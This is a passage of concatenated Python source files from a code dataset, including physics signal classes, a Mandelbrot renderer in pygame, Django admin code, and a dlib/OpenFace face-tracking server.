np.max(np.abs(self.values)) * 1e-5):\n msg = (\"Significant signal amplitude was lost when forcing the \"+\n \"signal values to be real after applying the frequency \"+\n \"filter '%s'. This may be avoided by making sure the \"+\n \"filter being used is properly defined for negative \"+\n \"frequencies\")\n if not force_real:\n msg += (\", or by passing force_real=True to the \"+\n \"Signal.filter_frequencies function\")\n msg += \".\"\n logger.warning(msg, freq_response.__name__)\n\n\n\nclass EmptySignal(Signal):\n \"\"\"\n Class for signal with zero amplitude (all values = 0).\n\n Parameters\n ----------\n times : array_like\n 1D array of times (s) for which the signal is defined.\n value_type : optional\n Type of signal, representing the units of the values. Must be from the\n ``Signal.Type`` Enum.\n\n Attributes\n ----------\n times, values : ndarray\n 1D arrays of times (s) and corresponding values which define the signal.\n value_type : Signal.Type\n Type of signal, representing the units of the values.\n Type : Enum\n Different value types available for `value_type` of signal objects.\n dt\n frequencies\n spectrum\n envelope\n\n See Also\n --------\n Signal : Base class for time-domain signals.\n\n \"\"\"\n def __init__(self, times, value_type=None):\n super().__init__(times, np.zeros(len(times)), value_type=value_type)\n\n def with_times(self, new_times):\n \"\"\"\n Returns a representation of this signal over a different times array.\n\n Parameters\n ----------\n new_times : array_like\n 1D array of times (s) for which to define the new signal.\n\n Returns\n -------\n EmptySignal\n A representation of the original signal over the `new_times` array.\n\n Notes\n -----\n Since the ``EmptySignal`` always has zero values, the returned signal\n will also have all zero values.\n\n \"\"\"\n return EmptySignal(new_times, value_type=self.value_type)\n\n\nclass FunctionSignal(Signal):\n \"\"\"\n Class for signals generated by a function.\n\n Parameters\n ----------\n times : array_like\n 1D array of times (s) for which the signal is defined.\n function : function\n Function which evaluates the corresponding value(s) for a given time or\n array of times.\n value_type : optional\n Type of signal, representing the units of the values. Must be from the\n ``Signal.Type`` Enum.\n\n Attributes\n ----------\n times, values : ndarray\n 1D arrays of times (s) and corresponding values which define the signal.\n value_type : Signal.Type\n Type of signal, representing the units of the values.\n Type : Enum\n Different value types available for `value_type` of signal objects.\n function : function\n Function to evaluate the signal values at given time(s).\n dt\n frequencies\n spectrum\n envelope\n\n See Also\n --------\n Signal : Base class for time-domain signals.\n EmptySignal : Class for signal with zero amplitude.\n\n \"\"\"\n def __init__(self, times, function, value_type=None):\n self.times = np.array(times)\n self.function = function\n # Attempt to evaluate all values in one function call\n try:\n values = self.function(self.times)\n # Otherwise evaluate values one at a time\n except (ValueError, TypeError):\n values = []\n for t in self.times:\n values.append(self.function(t))\n\n super().__init__(times, values, value_type=value_type)\n\n def with_times(self, new_times):\n \"\"\"\n Returns a representation of this signal over a different times array.\n\n Parameters\n ----------\n new_times : array_like\n 1D array of times (s) for which to define the new signal.\n\n Returns\n -------\n FunctionSignal\n A representation of the original signal over the `new_times` array.\n\n Notes\n -----\n Leverages knowledge of the function that creates the signal to properly\n recalculate exact (not interpolated) values for the new times.\n\n \"\"\"\n return FunctionSignal(new_times, self.function,\n value_type=self.value_type)\n\n\n\nclass GaussianNoise(Signal):\n \"\"\"\n Class for gaussian noise signals with standard deviation sigma.\n\n Calculates each time value independently from a normal distribution.\n\n Parameters\n ----------\n times : array_like\n 1D array of times (s) for which the signal is defined.\n values : array_like\n 1D array of values of the signal corresponding to the given `times`.\n Will be resized to the size of `times` by zero-padding or truncating.\n value_type\n Type of signal, representing the units of the values. Must be from the\n ``Signal.Type`` Enum.\n\n Attributes\n ----------\n times, values : ndarray\n 1D arrays of times (s) and corresponding values which define the signal.\n value_type : Signal.Type.voltage\n Type of signal, representing the units of the values.\n Type : Enum\n Different value types available for `value_type` of signal objects.\n dt\n frequencies\n spectrum\n envelope\n\n See Also\n --------\n Signal : Base class for time-domain signals.\n\n \"\"\"\n def __init__(self, times, sigma):\n self.sigma = sigma\n values = np.random.normal(0, self.sigma, size=len(times))\n super().__init__(times, values, value_type=self.Type.voltage)\n\n\nclass ThermalNoise(FunctionSignal):\n \"\"\"\n Class for thermal Rayleigh noise signals.\n\n The Rayleigh thermal noise is calculated in a given frequency band with\n flat or otherwise specified amplitude and random phase at some number of\n frequencies. Values are scaled to a provided or calculated RMS voltage.\n\n Parameters\n ----------\n times : array_like\n 1D array of times (s) for which the signal is defined.\n f_band : array_like\n Array of two elements denoting the frequency band (Hz) of the noise.\n The first element should be smaller than the second.\n f_amplitude : float or function, optional\n The frequency-domain amplitude of the noise. If ``float``, then all\n frequencies will have the same amplitude. If ``function``, then the\n function is evaluated at each frequency to determine its amplitude.\n By default, uses Rayleigh-distributed amplitudes.\n rms_voltage : float, optional\n The RMS voltage (V) of the noise. If specified, this value will be used\n instead of the RMS voltage calculated from the values of `temperature`\n and `resistance`.\n temperature : float, optional\n The thermal noise temperature (K). Used in combination with the value\n of `resistance` to calculate the RMS voltage of the noise.\n resistance : float, optional\n The resistance (ohm) for the noise. Used in combination with the value\n of `temperature` to calculate the RMS voltage of the noise.\n n_freqs : int, optional\n The number of frequencies within the frequency band to use to calculate\n the noise signal. By default determines the number of frequencies based\n on the FFT bin size of `times`.\n\n Attributes\n ----------\n times, values : ndarray\n 1D arrays of times (s) and corresponding values which define the signal.\n value_type : Signal.Type.voltage\n Type of signal, representing the units of the values.\n Type : Enum\n Different value types available for `value_type` of signal objects.\n function : function\n Function to evaluate the signal values at given time(s).\n f_min : float\n Minimum frequency of the noise frequency band.\n f_max : float\n Maximum frequency of the noise frequency band.\n freqs, amps, phases : ndarray\n The frequencies used to define the noise signal and their corresponding\n amplitudes and phases.\n rms : float\n The RMS value of the noise signal.\n dt\n frequencies\n spectrum\n envelope\n\n Warnings\n --------\n Since this class inherits from ``FunctionSignal``, its ``with_times``\n method will properly extrapolate noise outside of the provided times. Be\n warned however that outside of the original signal times the noise signal\n will be highly periodic. Since the default number of frequencies used is\n based on the FFT bin size of `times`, the period of the noise signal is\n actually the length of `times`. As a result if you are planning on\n extrapolating the noise signal, increasing the number of frequencies used\n is strongly recommended.\n\n Raises\n ------\n ValueError\n If the RMS voltage cannot be calculated (i.e. `rms_voltage` or both\n `temperature` and `resistance` are ``None``).\n\n See Also\n --------\n FunctionSignal : Class for signals generated by a function.\n\n Notes\n -----\n Calculation of the noise signal is based on the Rayleigh noise model used\n by ANITA [1]_. Modifications have been made to the default to make the\n frequency-domain amplitudes Rayleigh-distributed, under the suggestion that\n this makes for more realistic noise traces.\n\n References\n ----------\n .. [1] A. Connolly et al, ANITA Note #76, \"Thermal Noise Studies: Toward A\n Time-Domain Model of the ANITA Trigger.\"\n https://www.phys.hawaii.edu/elog/anita_notes/060228_110754/noise_simulation.ps\n\n \"\"\"\n def __init__(self, times, f_band, f_amplitude=None, rms_voltage=None,\n temperature=None, resistance=None, n_freqs=0):\n # Calculation based on Rician (Rayleigh) noise model for ANITA:\n # https://www.phys.hawaii.edu/elog/anita_notes/060228_110754/noise_simulation.ps\n\n self.f_min, self.f_max = f_band\n if self.f_min>=self.f_max:\n raise ValueError(\"Frequency band must have smaller frequency as \"+\n \"first value and larger frequency as second value\")\n # If number of frequencies is unspecified (or invalid),\n # determine based on the FFT bin size of the times array\n if n_freqs<1:\n n_freqs = (self.f_max - self.f_min) * (times[-1] - times[0])\n # Broken out into steps to ease understanding:\n # duration = times[-1] - times[0]\n # f_bin_size = 1 / duration\n # n_freqs = (self.f_max - self.f_min) / f_bin_size\n\n # If number of frequencies is still zero (e.g. len(times)==1),\n # force it to 1\n if n_freqs<1:\n n_freqs = 1\n\n self.freqs = np.linspace(self.f_min, self.f_max, int(n_freqs),\n endpoint=False)\n\n if f_amplitude is None:\n f_amplitude = lambda f: np.random.rayleigh(1/np.sqrt(2),\n size=f.shape)\n\n # Allow f_amplitude to be either a function or a single value\n if callable(f_amplitude):\n # Attempt to evaluate all amplitudes in one function call\n try:\n self.amps = np.array(f_amplitude(self.freqs))\n if len(self.amps)!=len(self.freqs):\n raise ValueError(\"Amplitude calculation failed\")\n # Otherwise evaluate responses one at a time\n except (TypeError, ValueError):\n logger.debug(\"Amplitude function %r could not be evaluated \"+\n \"for multiple frequencies at once\", f_amplitude)\n self.amps = np.array([f_amplitude(f) for f in self.freqs])\n else:\n self.amps = np.full(len(self.freqs), f_amplitude, dtype=\"float64\")\n # If the frequency range extends to zero, force the zero-frequency\n # (DC) amplitude to zero\n if 0 in self.freqs:\n self.amps[np.where(self.freqs==0)[0]] = 0\n\n self.phases = np.random.rand(len(self.freqs)) * 2*np.pi\n\n if rms_voltage is not None:\n self.rms = rms_voltage\n elif temperature is not None and resistance is not None:\n # RMS voltage = sqrt(4 * kB * T * R * bandwidth)\n self.rms = np.sqrt(4 * 1.38e-23 * temperature * resistance\n * (self.f_max - self.f_min))\n else:\n raise ValueError(\"Either RMS voltage or temperature and resistance\"+\n \" must be provided to calculate noise amplitude\")\n\n def f(ts):\n \"\"\"Set the time-domain signal by adding sinusoidal signals of each\n frequency with the corresponding phase.\"\"\"\n # This method is nicer than an inverse fourier transform because\n # results are consistant for differing ranges of ts around the same\n # time. The price payed is that the fft would be an order of\n # magnitude faster, but not reproducible for a slightly different\n # time array.\n values = sum(amp * np.cos(2*np.pi*freq * ts + phase)\n for freq, amp, phase\n in zip(self.freqs, self.amps, self.phases))\n\n # Normalization calculated by guess-and-check,\n # but seems to work fine\n # normalization = np.sqrt(2/len(self.freqs))\n values *= np.sqrt(2/len(self.freqs))\n\n # So far, the units of the values are V/V_rms, so multiply by the\n # rms voltage:\n values *= self.rms\n\n return values\n\n super().__init__(times, function=f, value_type=self.Type.voltage)\n","sub_path":"pyrex/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":24364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"201632311","text":"import unittest\n\nimport pandas as pd\n\nfrom cocoscore.ml.distance_scores import reciprocal_distance, _distance_scorer\nfrom cocoscore.tools.data_tools import load_data_frame\n\n\nclass DistanceScoreTest(unittest.TestCase):\n paragraph_scores_file = 'tests/ml/paragraph_distance_scores_file.tsv'\n document_scores_file = 'tests/ml/document_distance_scores_file.tsv'\n\n def test_paragraph_scores_reciprocal(self):\n paragraph_df = load_data_frame(self.paragraph_scores_file, class_labels=False, match_distance=True)\n scores = reciprocal_distance(paragraph_df)\n expected = pd.Series([1., .1, .01, .001])\n pd.testing.assert_series_equal(scores, expected, check_names=False)\n\n def test_document_scores_reciprocal(self):\n document_df = load_data_frame(self.document_scores_file, class_labels=False, match_distance=True)\n scores = reciprocal_distance(document_df)\n expected = pd.Series([1., .5, 1/3])\n pd.testing.assert_series_equal(scores, expected, check_names=False)\n\n def test_distance_scorer_exception(self):\n with self.assertRaises(ValueError):\n _distance_scorer(load_data_frame(self.paragraph_scores_file, class_labels=False, match_distance=False),\n None)\n","sub_path":"tests/ml/test_distance_scores.py","file_name":"test_distance_scores.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"33853712","text":"import pygame\nimport math\n\npygame.init()\n\nwin_size = (560, 560)\nwin = pygame.display.set_mode(win_size)\n\n\n# A class that represents a point\nclass Point:\n # default attributes for points.\n default_color = (255, 255, 255)\n default_width = 1\n\n def __init__(self, location: pygame.Vector2, color: tuple = default_color, width=default_width):\n self.color = color\n self.location = location\n self.width = math.floor(width / math.pi)\n\n def draw(self):\n # In this case, the points are circles, but they can be any geometric shape in thesis\n pygame.draw.circle(win, self.color, (int(self.location.x), int(self.location.y)), self.width)\n\n\nclass Set:\n def __init__(self):\n self.list = []\n for x in range(-Point.default_width, win_size[0] + Point.default_width * 2, Point.default_width):\n self.list.append(list())\n for y in range(-Point.default_width, win_size[1] + Point.default_width * 2, Point.default_width):\n self.list[-1].append(Point(pygame.Vector2(x, y)))\n\n def draw(self):\n for x in range(0, len(self.list) - 1):\n for y in range(0, len(self.list[x]) - 1):\n self.list[x][y].draw()\n\n\n# I'll refactor this later, but this will do for now\nclass Mandelbrot:\n set = Set()\n # the range of the complex plane to be calculated\n max_r_x = -2\n max_r_y = 2\n\n\nfor x in Mandelbrot.set.list:\n for y in x:\n y.color = 0, 0, 0\n\nMandelbrot.set.draw()\n\n\n# Math stuff\ndef rule_of_three(valor_base, max_base, q):\n return float(valor_base * q / max_base)\n\n\ndef tales_theorem(val, max_a, min_a, max_b, min_b):\n # A worse version of the map function in Processing\n a = ((val - max_a) * (min_b - max_b) / (min_a - max_a)) + max_b\n return a\n\n\n# All the calculations will be done here for now, but I'll implement a function on the\n# Set class that permits me move in the complex plane, or maybe implement a class that deals\n# with all complex plane stuff.\ndef mand_set():\n max_itt = 17\n\n # based on coding train's video.\n for c in range(0, len(Mandelbrot.set.list) - 1):\n for r in range(0, len(Mandelbrot.set.list[c]) - 1):\n\n # print(Mandelbrot.max_r_x, Mandelbrot.max_r_y)\n\n a = tales_theorem(c, 0, len(Mandelbrot.set.list), Mandelbrot.max_r_x, Mandelbrot.max_r_y)\n b = tales_theorem(r, 0, len(Mandelbrot.set.list[c]), Mandelbrot.max_r_x, Mandelbrot.max_r_y)\n\n orig_a = a\n orig_b = b\n\n n = 0\n for i in range(0, max_itt):\n aa = a * a - b * b\n bb = 2 * a * b\n\n a = aa + orig_a\n b = bb + orig_b\n\n if math.fabs(a + b) >= 16:\n n = i\n break\n\n bright = math.floor(tales_theorem(n, 0, max_itt, 0, 100))\n\n Mandelbrot.set.list[c][r].color = bright, bright, bright\n\n print('Done')\n\n Mandelbrot.set.draw()\n\n\nmand_set()\n\n\n# Normal pygame stuff\nrun = True\nwhile run:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n run = False\n\n pygame.display.update()\n\npygame.quit()\n","sub_path":"Scripts/mandelbrot set Class Methods and Static Methods.py","file_name":"mandelbrot set Class Methods and Static Methods.py","file_ext":"py","file_size_in_byte":3172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"649687871","text":"from models import Effort, Timeframe, Monkey\n\n\nclass EffortController(object):\n\n def __init__(self):\n self.rex = {}\n self._load()\n\n def _load(self):\n self.rex = Effort.get_dataset()\n\n def get_tbl_data(self, monkeys):\n return [self.get_tbl_row(monkeys, recnum) for recnum in self.rex.keys()]\n\n def get_tbl_row(self, monkeys, recnum):\n row = {\n 'id': recnum,\n 'employee': self.rex[recnum].employee,\n 'fte': self.rex[recnum].fte\n }\n for monkey in monkeys:\n row[monkey] = self._total(monkey, self.rex[recnum].assignments)\n return row\n\n def _total(self, monkey, asns):\n total = 0\n for asn in asns:\n total += asn.effort if asn.timeframe.contains(monkey) else 0\n return total\n\n def _get_default_timeframe(self):\n import datetime\n d = datetime.datetime.now()\n first_month = Monkey.from_date(d)\n last_month = first_month.plus(6)\n return Timeframe(first_month, last_month)\n\n def _get_last_month(self, first_month_input, plus):\n first_month = Monkey(first_month_input)\n return first_month.plus(int(plus))\n\n def _get_valid_timeframe(self, first_month_input, last_month_input):\n first_month = Monkey(first_month_input)\n last_month = Monkey(last_month_input)\n return Timeframe(first_month, last_month)\n\n def breakdown(self, empid, monkey):\n rec = self.rex[empid]\n lbl_text = '%s, %s' % (rec.employee, str(Monkey(monkey)))\n data = []\n for asn in rec.assignments:\n if asn.timeframe.contains(monkey):\n data.append({\n 'project': asn.project,\n 'effort': asn.effort\n })\n return lbl_text, data\n","sub_path":"controllers/effort_controller.py","file_name":"effort_controller.py","file_ext":"py","file_size_in_byte":1816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"407207347","text":"from django.contrib import admin\nfrom django.utils.translation import ugettext_lazy as _\nfrom .models import Event\nfrom media_app.admin import ImageInline\nfrom wymeditor.admin import RichTextAdmin\n\nclass EventAdmin(RichTextAdmin):\n list_display = ('title', 'published', 'start_date', 'end_date', 'project')\n inlines = (ImageInline,)\n list_filter = ('start_date', 'end_date', 'project')\n prepopulated_fields = {'slug': ('title',)}\n fieldsets = (\n (_('General'), {\n 'fields': ('published', ('title', 'title_en', 'title_fr'), 'slug')\n }),\n (_('Infos'), {\n 'fields': ('project', ('start_date', 'end_date'), ('location', 'location_en', 'location_fr'))\n }),\n (_('Summary'), {\n 'fields': ('summary', 'summary_en', 'summary_fr')\n }),\n (_('Description'), {\n 'fields': ('description', 'description_en', 'description_fr')\n })\n )\n\nadmin.site.register(Event, EventAdmin)\n\n","sub_path":"bessst.be/events/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"441962418","text":"#! /usr/bin/env python\n# in this file, the input frame is in rgb format\n\nfrom MyUtils import *\nfrom vision import *\nimport Queue\nimport StringIO\nimport json\nimport logging\nimport multiprocessing\nimport sys\nimport os\nimport threading\nimport time\nfrom operator import itemgetter\nimport cv2\nimport dlib\nimport numpy as np\nfrom PIL import Image\nimport traceback\nfrom NetworkProtocol import *\nfrom openfaceClient import OpenFaceClient, AsyncOpenFaceClientProcess\nfrom demo_config import Config\n\nWRITE_PICTURE_DEBUG=Config.WRITE_PICTURE_DEBUG\nif WRITE_PICTURE_DEBUG:\n remove_dir(Config.WRITE_PICTURE_DEBUG_PATH)\n create_dir(Config.WRITE_PICTURE_DEBUG_PATH)\nDETECT_TRACK_RATIO = 10\n\nclass RecognitionRequestUpdate(object):\n def __init__(self, recognition_frame_id, location):\n self.recognition_frame_id = recognition_frame_id\n self.location=location\n\nclass FaceTransformation(object):\n def __init__(self):\n self.cnt=0\n self.detector = dlib.get_frontal_face_detector()\n self.faces=[]\n self.face_table = {}\n \n self.faces_lock=threading.Lock()\n self.img_queue = multiprocessing.Queue()\n self.trackers_queue = multiprocessing.Queue()\n self.recognition_queue = multiprocessing.Queue()\n \n # openface related\n self.training_cnt = 0\n self.server_ip = u\"ws://localhost\"\n self.server_port = 9000\n # changed to two openface_client\n # 1 sync for blocking response\n # another for non-blocking response in detection_process\n self.openface_client = OpenFaceClient(self.server_ip, self.server_port)\n resp = self.openface_client.isTraining()\n LOG.info('resp: {}'.format(resp))\n self.training = json.loads(resp)['val']\n LOG.info('openface is training?{}'.format(self.training))\n\n mpl = multiprocessing.log_to_stderr()\n mpl.setLevel(custom_logger_level)\n \n self.correct_tracking_event = multiprocessing.Event()\n self.correct_tracking_event.clear()\n self.tracking_thread_idle_event = threading.Event()\n self.tracking_thread_idle_event.clear()\n self.sync_thread_stop_event=threading.Event()\n self.sync_thread_stop_event.clear()\n self.sync_faces_thread = threading.Thread(target=self.correct_tracking,\n name='bgThread',\n kwargs={'stop_event' : self.sync_thread_stop_event})\n self.sync_faces_thread.start()\n\n self.detection_process_shared_face_fragments=[]\n self.detection_process_stop_event = multiprocessing.Event()\n self.detection_process_stop_event.clear()\n self.detection_process = multiprocessing.Process(\n target = self.detection_and_recognition,\n name='DetectionProcess',\n args=(self.img_queue,\n self.trackers_queue,\n self.recognition_queue,\n self.server_ip,\n self.server_port,\n self.correct_tracking_event,\n self.detection_process_stop_event,))\n self.detection_process.start()\n self.image_width=Config.MAX_IMAGE_WIDTH\n\n # background thread that updates self.faces once\n # detection process signaled\n def correct_tracking(self, stop_event=None):\n #TODO: should yield computing power unless there are events going on\n # right now in between frames, this loop just keeps computing forever\n in_fly_recognition_info={}\n while (not stop_event.is_set()):\n self.tracking_thread_idle_event.wait(1)\n# self.sync_face_event.wait(0.1)\n if (not self.tracking_thread_idle_event.is_set()):\n continue\n if (self.correct_tracking_event.is_set()):\n LOG.debug('bg-thread getting detection updates')\n try:\n tracker_updates = self.trackers_queue.get(timeout=1)\n faces = tracker_updates['faces']\n tracker_frame = tracker_updates['frame']\n for face in faces:\n nearest_face = self.find_nearest_face(face, self.faces)\n# max_distance=self.image_width*Config.FACE_MAX_DRIFT_PERCENT)\n if (nearest_face):\n face.name = nearest_face.name\n else:\n face.name=\"\"\n tracker = create_tracker(tracker_frame, face.roi)\n face.tracker = tracker\n\n LOG.debug('bg-thread updating faces from detection process!')\n self.faces_lock.acquire()\n self.faces = faces\n self.faces_lock.release()\n self.correct_tracking_event.clear()\n except Queue.Empty:\n LOG.info('bg-thread updating faces queue empty!')\n else:\n try:\n update = self.recognition_queue.get_nowait()\n if (isinstance(update, RecognitionRequestUpdate)):\n in_fly_recognition_info[update.recognition_frame_id] = update.location\n else:\n LOG.debug('main process received recognition resp {}'.format(update))\n recognition_resp = json.loads(update)\n if (recognition_resp['type'] == FaceRecognitionServerProtocol.TYPE_frame_resp\n and recognition_resp['success']):\n frame_id = recognition_resp['id']\n if (frame_id in in_fly_recognition_info):\n # TODO: add in min distance requirement\n self.faces_lock.acquire()\n nearest_face = self.find_nearest_face(in_fly_recognition_info.pop(frame_id), self.faces)\n# , max_distance=self.image_width*Config.FACE_MAX_DRIFT_PERCENT)\n if (nearest_face):\n nearest_face.name = recognition_resp['name']\n self.faces_lock.release()\n LOG.debug('main process received recognition name {}'\n .format(recognition_resp['name']))\n else:\n LOG.error('received response but no frame info about the request')\n else:\n LOG.error('received response is not frame_resp or frame_resp success is false')\n except Queue.Empty:\n pass\n\n\n def terminate(self):\n self.detection_process_stop_event.set()\n self.sync_thread_stop_event.set()\n self.detection_process.join()\n LOG.info('detection process shutdown!') \n self.sync_faces_thread.join()\n LOG.info('sync faces thread shutdown!') \n self.openface_client.terminate() \n LOG.debug('transformer terminate!')\n\n\n def find_nearest_face(self, src, nearby_faces, max_distance=None):\n distances = []\n # find the closest face object\n for face in nearby_faces:\n face_center = face.get_location()\n if (isinstance(src, FaceROI)):\n src_center = src.get_location()\n else:\n src_center=src\n distance = euclidean_distance_square(face_center, src_center)\n if max_distance is not None:\n if distance <= max_distance:\n distances.append(distance)\n else:\n LOG.info('drift too much. do not update recognition result') \n else:\n distances.append(distance) \n if distances:\n (face_idx, _) = min(enumerate(distances), key=itemgetter(1))\n return nearby_faces[face_idx]\n else:\n return None\n\n # TODO: to be finished!!!\n # called in another recognize listener process (listener)\n def on_receive_openface_server_result(self, resp, queue=None, busy_event=None):\n # parse the resp\n resp_json=json.loads(resp)\n if (resp_json['type']== FaceRecognitionServerProtocol.TYPE_frame_resp):\n if (self.training):\n LOG.error('training is using async openface response')\n return\n\n if (busy_event.is_set()):\n LOG.debug('cleared recognition busy')\n busy_event.clear()\n else:\n LOG.debug('server busy event not set')\n \n LOG.debug('server response: {}'.format(resp[:40]))\n queue.put(resp)\n\n # resp_dict = json.loads(resp)\n # success=resp_dict['success']\n # if success:\n # name = resp_dict['name']\n # LOG.debug('recognized: {}'.format(name))\n # # notify main process\n # if queue:\n\n\n def send_face_recognition_requests(self, openface_client, frame, rois, frame_id):\n for roi in rois:\n (x1,y1,x2,y2) = roi\n # TODO: really need copy here?\n face_pixels = np.copy(frame[y1:y2+1, x1:x2+1])\n face_string = np_array_to_jpeg_data_url(face_pixels)\n # has to use the same client as mainprocess\n openface_client.addFrameWithID(face_string, 'detect', frame_id)\n frame_id+=1\n return frame_id\n\n def pic_output_path(self,idx):\n return os.path.normpath(Config.WRITE_PICTURE_DEBUG_PATH+'/'+ str(idx)+'.jpg')\n\n def detection_and_recognition(self,\n img_queue,\n trackers_queue,\n recognition_queue,\n openface_ip,\n openface_port,\n sync_face_event,\n stop_event):\n\n recognition_busy_event = multiprocessing.Event()\n recognition_busy_event.clear()\n \n try:\n LOG.info('created')\n detector = dlib.get_frontal_face_detector()\n detection_process_openface_client=AsyncOpenFaceClientProcess(call_back=self.on_receive_openface_server_result, queue=recognition_queue, busy_event=recognition_busy_event)\n # create face recognition thread to be in background\n # face_recognition_thread = threading.Thread(target=self.bg_face_recognition, name='bg_recognition_thread')\n\n recognition_frame_id=0\n frame_id=0\n while (not stop_event.is_set()):\n try:\n frame = img_queue.get(timeout=1)\n except Queue.Empty: \n continue\n\n rois = detect_faces(frame, detector)\n rois = filter_small_faces(rois)\n LOG.debug('finished detecting')\n if (len(rois)>0):\n if (not recognition_busy_event.is_set() ):\n recognition_busy_event.set() \n for roi in rois:\n (x1,y1,x2,y2) = roi\n # TODO: really need copy here?\n # face_pixels = np.copy(frame[y1:y2+1, x1:x2+1])\n face_pixels = frame[y1:y2+1, x1:x2+1]\n face_string = np_array_to_jpeg_data_url(face_pixels)\n # has to use the same client as mainprocess\n detection_process_openface_client.addFrameWithID(face_string, 'detect', recognition_frame_id)\n LOG.debug('send out recognition request') \n roi_center=((x1 + x2)/2, (y1+y2)/2)\n recognition_queue.put(RecognitionRequestUpdate(recognition_frame_id, roi_center))\n recognition_frame_id+=1\n LOG.debug('after putting updates on queues')\n else:\n LOG.debug('skipped sending recognition')\n \n if WRITE_PICTURE_DEBUG:\n draw_rois(frame,rois)\n imwrite_rgb(self.pic_output_path(str(frame_id)+'_detect'), frame)\n \n frame_id+=1\n\n trackers = create_trackers(frame, rois)\n frame_available = True\n frame_cnt = 0\n while frame_available:\n try:\n frame = img_queue.get_nowait()\n update_trackers(trackers, frame)\n\n rois=[drectangle_to_tuple(tracker.get_position()) for tracker in trackers]\n\n if WRITE_PICTURE_DEBUG: \n draw_rois(frame,rois)\n imwrite_rgb(self.pic_output_path(frame_id), frame)\n frame_id+=1\n frame_cnt +=1\n except Queue.Empty:\n LOG.debug('all image catched up! # images {}'.format(frame_cnt)) \n frame_available = False\n faces=[]\n for idx, tracker in enumerate(trackers):\n new_roi = tracker.get_position()\n cur_roi = (int(new_roi.left()),\n int(new_roi.top()),\n int(new_roi.right()),\n int(new_roi.bottom()))\n name = \"\"\n # LOG.info('recognized faces {0} {1}'.format(idx, name))\n face = FaceROI(cur_roi, name=name)\n faces.append(face)\n\n tracker_updates = {'frame':frame, 'faces':faces}\n trackers_queue.put(tracker_updates)\n sync_face_event.set()\n # wake thread up for terminating\n sync_face_event.set()\n except Exception as e:\n traceback.print_exc()\n raise e\n \n def track_faces(self, frame, faces):\n LOG.debug('# faces tracking {} '.format(len(faces)))\n to_be_removed_face = []\n # cvtColor is an expensive operation \n hsv_frame = cv2.cvtColor(frame, cv2.COLOR_RGB2HSV)\n if (len(faces) == 0):\n # sleep for 10 ms\n time.sleep(0.005)\n else:\n for idx, face in enumerate(faces):\n tracker = face.tracker\n \n if Config.DEBUG:\n start = time.time()\n\n (x1,y1,x2,y2)=face.roi\n tracker.update(hsv_frame, is_hsv=True)\n new_roi = tracker.get_position()\n\n if Config.DEBUG:\n end = time.time()\n LOG.debug('tracker run: {}'.format((end-start)*1000))\n\n (x1,y1,x2,y2) = (int(new_roi.left()),\n int(new_roi.top()),\n int(new_roi.right()),\n int(new_roi.bottom()))\n face.roi = (x1,y1,x2,y2)\n if (is_small_face(face.roi)):\n to_be_removed_face.append(face)\n else:\n face.data = np.copy(frame[y1:y2+1, x1:x2+1])\n faces = [face for face in faces if face not in to_be_removed_face]\n return faces\n \n def swap_face(self,frame):\n # change training to true\n if self.training:\n LOG.debug('main-process stopped openface training!') \n self.training=False\n self.openface_client.setTraining(False)\n\n self.image_width=frame.shape[1]\n LOG.debug('image width: {}'.format(self.image_width))\n # forward img to DetectionProcess\n # preprocessing to grey scale can reduce run time for detection process only handle greyscale\n # openface need rgb images\n grey_frame = frame\n# grey_frame = cv2.cvtColor(frame, cv2.COLOR_RGB2GRAY)\n\n faces=self.track_faces(frame, self.faces)\n self.faces_lock.acquire() \n self.faces=faces\n self.faces_lock.release() \n \n ret = []\n for face in self.faces:\n try:\n face_json = face.get_json(send_data=True)\n ret.append(face_json)\n except ValueError:\n pass\n\n self.img_queue.put(grey_frame) \n LOG.debug('# faces in image: {}'.format(len(self.faces)))\n return ret\n \n def addPerson(self, name):\n return self.openface_client.addPerson(name)\n\n # frame is a numpy array\n def train(self, frame, name):\n # change training to true\n if self.training == False:\n self.training = True\n self.training_cnt = 0\n self.openface_client.setTraining(True)\n\n # detect the largest face\n rois = detect_faces(frame, self.detector, largest_only=True)\n\n # only the largest face counts\n if (len(rois) > 1):\n LOG.info(\"more than 1 faces detected in training frame. abandon frame\")\n return self.training_cnt, None\n\n if (len(rois) == 0):\n LOG.debug(\"No faces detected in training frame. abandon frame\")\n return self.training_cnt, None\n\n LOG.info(\"training: sucesss - detected 1 face. add frame\") \n\n if 1 == len(rois) :\n (x1,y1,x2,y2) = rois[0]\n face_pixels = np.copy(frame[y1:y2+1, x1:x2+1]) \n\n face = FaceROI(rois[0], data=face_pixels, name=\"training\") \n face_string = np_array_to_jpeg_data_url(face_pixels)\n \n resp = self.openface_client.addFrame(face_string, name)\n resp = json.loads(resp)\n success = resp['success']\n if success:\n self.training_cnt +=1\n\n return self.training_cnt, face.get_json()\n","sub_path":"server/face_swap.py","file_name":"face_swap.py","file_ext":"py","file_size_in_byte":18287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"62323750","text":"config = {}\nconfig[\"serverLocation\"] = \"-- ULGM \"\n \nconfig[\"sendEmails\"] = True # send email when tolerance is exceeded or error occurs\nconfig[\"alertMaximum\"] = 90 # max temperature (F) before alerting\nconfig[\"alertMinimum\"] = 35 # min temperature (F) before alerting\nconfig[\"alertHysteresis\"] = 3 # how much recovery (beyond limit) do we need to clear alert (now using time)\nconfig[\"maxTry\"] = 1000 # number of tries before it gives up and sends an email\nconfig[\"PLOT_INT\"] = 5*60\nconfig[\"SAMPLE_PERIOD\"] = 60*2\nconfig[\"recipient\"] = \"ehowland@danenet.org\"\nconfig[\"log_rotate_days\"] = 30\nconfig[\"web_path\"] = \"/var/www/\" # expects to have final /\n# config[\"\"] = \n \n","sub_path":"working/get_config.py","file_name":"get_config.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"612326846","text":"\"\"\"Test Get All-Link Record for Sender Command.\"\"\"\n\nimport unittest\nfrom binascii import 